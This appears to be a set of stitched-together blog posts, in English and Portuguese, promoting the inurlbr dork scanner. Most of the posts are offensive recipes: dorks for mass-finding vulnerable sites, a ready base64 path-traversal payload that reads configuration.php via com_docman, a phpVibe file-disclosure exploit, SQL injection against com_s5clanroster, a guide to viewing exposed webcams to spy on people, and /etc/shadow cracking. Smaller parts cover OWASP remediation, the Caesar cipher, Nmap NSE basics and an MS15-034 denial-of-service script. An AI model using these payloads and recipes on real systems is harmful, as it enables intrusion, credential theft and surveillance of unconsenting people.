Advanced Search, Applied through dorks ("set of search operators."), Capture sensitive information, failures in servers. Group aimed at advanced filters to search engines & Digital Security Research.
Example http://www.site.com/components/com_docman/dl2.php?archive=0&file=Li4vLi4vLi4vLi4vLi4vLi4vLi4vdGFyZ2V0L3d3dy9jb25maWd1cmF0aW9uLnBocA== <= Ready !
SET DORK: --dork 'inurl:"/components/com_docman/dl2.php"'
SET OUTPUT FILE: -s dl2.txt
SET EXPLOIT GET
To encode our injection string we use a ineterna function of inurlbr script. base64 Encrypt values in base64.
Example: base64({value})
Usage: base64(102030)
Usage: --exploit-get 'user?id=base64(102030)' URL with inject get: http://www.target.us/user?id=MTAyMDMw Use: --exploit-get '/dl2.php?archive=0&file=base64(../../../../../../../target/www/configuration.php)'
OR USE SITE ENCODER: https://www.base64encode.org/
Use: --exploit-get '/dl2.php?archive=0&file=Li4vLi4vLi4vLi4vLi4vLi4vLi4vdGFyZ2V0L3d3dy9jb25maWd1cmF0aW9uLnBocA=='
SET FILTER
Filter results in unique domains. --unique
SET VALIDATION
Valid results based on your return http code.
Example: --ifcode {ifcode}
Usage: --ifcode 200
Remediation:
The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path. https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion https://www.owasp.org/index.php/Full_Path_Disclosure
PHPVibe - A php video script built for sharing video and media. PHPVibe video sharing cms: php video embed and video upload script, ffmpeg video conversion, Youtube,Vine
# Exploit Title: phpVibe ALL versions LFD vulnerability # Google Dork: "powered by phpvibe"
# Date: 2015/07/13 (july 13th)
# Exploit Author: ali ahmady -- Iranian Security Researcher (snip3r_ir[at]hotmail.com)
# Vendor Homepage: http://www.phpvibe.com/
# Software Link: http://get.phpvibe.com/
# Version: All versions
# Tested on: linux http://0day.today/exploit/23877
File parameter has no validation and sanitization!
exploition can be performed by adding "@@media" to the file name and base64 it two times as below (no registration needed).
With simple request can get access to the database configuration file Mysql.
In this tutorial we will use the inurlbr tool to find targets and then inject our string of exploration, We will use internal functions of inurlbr script to convert injection string in hexadecimal.
The com_s5clanroster compenet has a SQL injection flaw in their GET parameter "id", This article is based on the script written by the hacker TheLooper (script), Where injected successfully is possible to have access to the target server database information.
SET DORK: --dork 'inurl:"index.php?option=com_s5clanroster"'
SET FILE OUTPUT: -s vuln.log
SET TIPE VALIDATION: -t 3 3 - The third type combine both first and second types: Then, of course, it also establishes connection with the exploit through the get method Demo: www.target.com.br{exploit}
SET EXPLOIT REQUEST - GET: --exploit-get {YOU_GET}
Before setting the exploit we get to manipulate its string, for that we use a domestic function of inurlbr scanner so passes a validation string within the SQL injection to be able to separate vulnerable targets.
Internal function - Converting strings in hexadecimal hex Encrypt values in hex. Example: hex({value}) Usage: hex(102030) Usage: --exploit-get 'user?id=hex(102030)' Result inject: http://www.target.gov.br/user?id=313032303330
Neste ultimo fim de semana, eu estava pesquisando sobre uma organização chamada Cicada 3301 que tem como principal objetivo o recrutamento de usuários altamente inteligentes em todo o mundo para um objetivo totalmente desconhecido. Uma espécie de (quebra-cabeça, desafio, enigma) ou como você quiser chamar era o método de recrutamento da Cicada 3301(Mas informações). Pesquisando sobre os tipos de desafios que a cicada utilizava, um deles era codificação de mensagens usando a clássica Cifra de César (Júlio César a usava para passar informações confidenciais nos tempos de Roma).
A Cifra de César era basicamente o seguinte, Era a substituição das letras da mensagem a ser criptografada por seus sucessores no alfabeto de acordo com a sua chave.
Criptografando
Chave 3
Alfabeto: "abcdefghijklmnopqrstuvwxyz"
Mensagem a ser criptografada: "aka"
Neste caso você conta 3(Chave) casas a frente das letras "a","k","a" ficando assim: dnd.
Descriptografando
Chave 3
Mensagem a ser descriptografada: "dnd"
Funciona basicamente ao contrario você só ira precisar da chave, neste caso você conta 3 casa
para trás retornando a mensagem original: aka.
Human Everybody is curious and likes to eavesdrop on other people's lives, I created this little tutorial to help curisos deem webcans.
We will use simple techniques of Dorking and strings of validation within the inurlbr scanner.
SET LEVEL TESTS STRINGS: -t 2 2 - The second type tries to valid the error defined by: -a='VALUE_INSIDE_THE _TARGET' SET STRING TO BE SOUGHT WITHIN EACH TARGET: -a 'Network Camera'
or -a '<title>Network Camera'
Another example of validation
-a 'Resolution='
Recommend using validation -a 'Resolution=' All webcam should set a resolution and not necessarily a title.
This parameter will enter into the URL and validate if there is the desired string.
Local File Inclusion (also known as LFI) is the process of including files, that are already locally present on the server, through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing directory traversal characters (such as dot-dot-slash) to be injected. Although most examples point to vulnerable PHP scripts,we should keep in mind that it is also common in other technologies such as JSP, ASP and others.
In successful cases If the above mentioned conditions are met, an attacker would see something like the following:
Jameh, who actually writes and reads 'Jame' which is the Tupi Guarani means hidden, mysterious, aims to conduct a brute-force hashed passwords contained in the /etc /shadow, passing the salt and hash of the encrypted password he tries to break through the dictionary password.
Exploring the server password file... LOCAL FILE INCLUSION Local File Inclusion (also known as LFI) is the process of including files, that are already locally present on the server, through the exploiting of vulnerable inclusion procedures implemented in the application. https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion $validation['LOCAL-FILE-INCLUSION-01'] = '/root:/'; $validation['LOCAL-FILE-INCLUSION-02'] = 'root:x:0:0:'; $validation['LOCAL-FILE-INCLUSION-03'] = 'mysql:x:'; Finding any of these values the script alert as vulnerable. Exploring the server wp-config.php file... CMS WORDPRESS As the name suggests, if the web application doesn’t check the file name required by the user, any malicious user can exploit this vulnerability to download sensitive files from the server. Arbitrary File Download vulnerability file wp-config.php http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271 http://www.acunetix.com/vulnerabilities/web/wordpress-plugin-slider-revolution-arbitrary-file-disclosure $validation['CMS-WORDPRESS-01'] = "define('DB_NAME'"; $validation['CMS-WORDPRESS-02'] = "define('DB_USER'"; $validation['CMS-WORDPRESS-03'] = "define('DB_PASSWORD'"; $validation['CMS-WORDPRESS-04'] = "define('DB_HOST'"; Finding any of these values the script alert as vulnerable.
O Nmap Scripting Engine (NSE) é um dos recursos mais poderosos e flexíveis do Nmap. Ele permite aos usuários escrever (e partilhar) scripts simples para automatizar uma ampla variedade de tarefas de rede. Esses scripts são executados em paralelo com a velocidade e eficiência que se espera do Nmap. Os usuários podem contar com a crescente e diversificada base de dados de scripts distribuídos com o Nmap, ou escrever o seu próprio para atender às necessidades personalizadas, os scripts Nmap Scripting Engine são implementados usando linguagem de programação Lua, Nmap API e um número de realmente poderosas Bibliotecas NSE. LUA: Lua Tutorials - www.dev-hq.net NMAP API: Nmap API NSEDOC: nsedoc (nse)
Os scripts NSE são (pack) em diferentes categorias:
auth, broadcast, brute, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe,vuln
configuando o nosso script NSE dentro de uma destas categorias permite-nos chama-lo a ele e todos
os scripts dentro dessa mesma categoria usando a 'flag' (--script <categoria> <target>). o seguinte
exemplo "irá correr o nosso script e todos que se encontrarem dentro da categoria 'discovery'" exemplo: nmap -sS -Pn -p 80 --script discovery <target>
Os scripts NSE são divididos em 4 secções:
O 'HEAD' contém meta-dados que descreve a funcionalidade do modulo, autor, impacto, categoria e outros dados descritivos.
As 'DEPENDENCIES' (bibliotecas lua necessarias) ao uso da API de programação do nmap
A 'RULE SECTION' define as condições necessárias para o script executar. Esta secção deve conter pelo menos uma função desta lista: portrule, hostrule, prerule, postrule. Para os fins deste tutorial (e a maioria dos scripts), vou concentrar-se no portrule que pode executar verificações sobre ambas as propriedades de host e porta antes de correr o script. No script abaixo, portrule se aproveita da API do nmap para verificar se há alguma porta http aberta para executar os commands da secção 'the action section'.
A 'ACTION SECTION' define a lógica do script, Na tradição de K&R (kernighan & ritchie) eu vou simplesmente dar a saída "Olá, mundo!" para qualquer porta aberta http usando a API 'return' para fazer o output.
hello.nse
Vamos começar com um script que simplesmente irá imprimir "hello world" para todas as portas HTTP encontradas abertas.
Abra um editor de texto e escreva o seguinte trecho em 'hello.nse' em seu diretório home.
------------------------------ The Head Section ------------------------------
description =[[
Author: r00t-3xp10it
INURLBR AULA - escrevendo o meu primeiro script NSE para o nmap
------------------------------ The Rule Section ------------------------------
portrule = shortport.http
------------------------------ The Action Section ------------------------------
action =function(host, port)
return"Hello world!"
end
Descrição: na secção 'head' definimos a categoria como 'discovery and safe', para correr este script e todos contidos na categoria 'discovery' basta executarmos 'nmap -sV -p 80,8080 --script discovery <target>', na secção 'Dependencies' chamamos as bibliotecas 'http & shortport', na secção 'the rule section' vamos nos servir da biblioteca 'shortport' para verificar se o <target> está a correr alguma porta com o protocol 'http' abertas, para podermos executar a secção 'the action section' a 'funtion(host, port)' vai executar o command "hello world!" (display no terminal), P.S. a portrule 'shortport.http' verifica todos os protocolos http based, like:http, https, ipp, http-alt, https-alt, vnc-http, oem-agent, soap, http-proxy, (descrição da biblioteca 'shortport.lua')...
Vamos construir um Script NSE rápido para verificar se o /path/arquivo/pasta selecionado existe no alvo webserver verificando os codigos de retorno da API do google. "o comportamento padrão será procurar o arquivo robots.txt se não for introduzido um argumento (@args) para procurar um file/path diferente", os '@argumentos' são lançados pela 'flag' --script-args <nome do argumento>= neste caso vai servir para pedir ao utilizador para entrar um nome diferente do valor default (/robots.txt) a procurar no target, vamos construir o proximo script em 4 secções 'head, dependencies, the rules section, the action section' para mais facil compreenção:
---'THE HEAD SECTION'---
description =[[
Author: r00t-3xp10it
Quick NSE script to check if the selected file/path/folder exists
on target webserver by checking google API return codes.
'default behavior its to search for robots.txt file'
-- Seach for string stored in variable @args.file or use default
local file = stdnse.get_script_args(SCRIPT_NAME..".file")or"/robots.txt"
Descrição: a biblioteca 'shortport' vai se servir da função 'port_or_service' para só executar a secção 'the action section' se todos os valores retornarem correctos (port 80 tcp http open), a biblioteca 'stdnse.get_script_args' vai ler o que foi inserido no @argumento (e procurar por essa string) ou então vai procurar pelo valor default (/robots.txt) se não for utilizada a 'flag' '--script-args file='
-- Check google API return codes to determine if file exists
if(response.status ==200)then
return file.."\n : STRING FOUND...\n : returned 200 OK\n"
elseif(response.status ==400)then
return file.."\n : BadRequest...\n : returned 400 BadRequest\n"
elseif(response.status ==302)then
return file.."\n : Redirected...\n : returned 302 Redirected\n"
elseif(response.status ==401)then
return file.."\n : Unauthorized...\n : returned 401 Unauthorized\n"
elseif(response.status ==404)then
return file.."\n : STRING NOT FOUND...\n : returned 404 NOT FOUND\n"
elseif(response.status ==403)then
return file.."\n : Forbidden...\n : returned 403 Forbidden\n"
elseif(response.status ==503)then
return file.."\n : Service_unavailable...\n : returned 503 Service_unavailable\n"
else
return file.."\n : UNDEFINED ERROR...\n : returned "..response.status.."\n"
end
end
Descrição: a função 'action = function(host, port)' vai executar os commands no <target>, na função seguinte a biblioteca 'http.get' retorna um recurso com um pedido GET, a API NSE 'response.status' vai verificar o codigo de retorno da API do google para determinar se o file existe, e vamos nos servir da API 'return' vai fazer o display do output...
Detecta a vulnerabilidade MS15-034 (HTTP.sys) em servidores Microsoft IIS. e explora a condição denial-of-service usando argumentos de script (--script-args D0S=exploit) ou podemos verificar (escanear) ainda mais usando outro argumento (--script-args uri =/wellcome.png), o comportamento padrão 'default' será verificar pela existencia da vulnerabilidade, e só se for introduzido o @argumento D0S (--script-args D0S=exploit) é que será explorado o denial-of-service.
versões afetadas são o Windows 7,8,8.1, Windows Server 2008 R2, 2012 e 2012R2. An analysis of ms15-034:an-analysis-of-ms15-034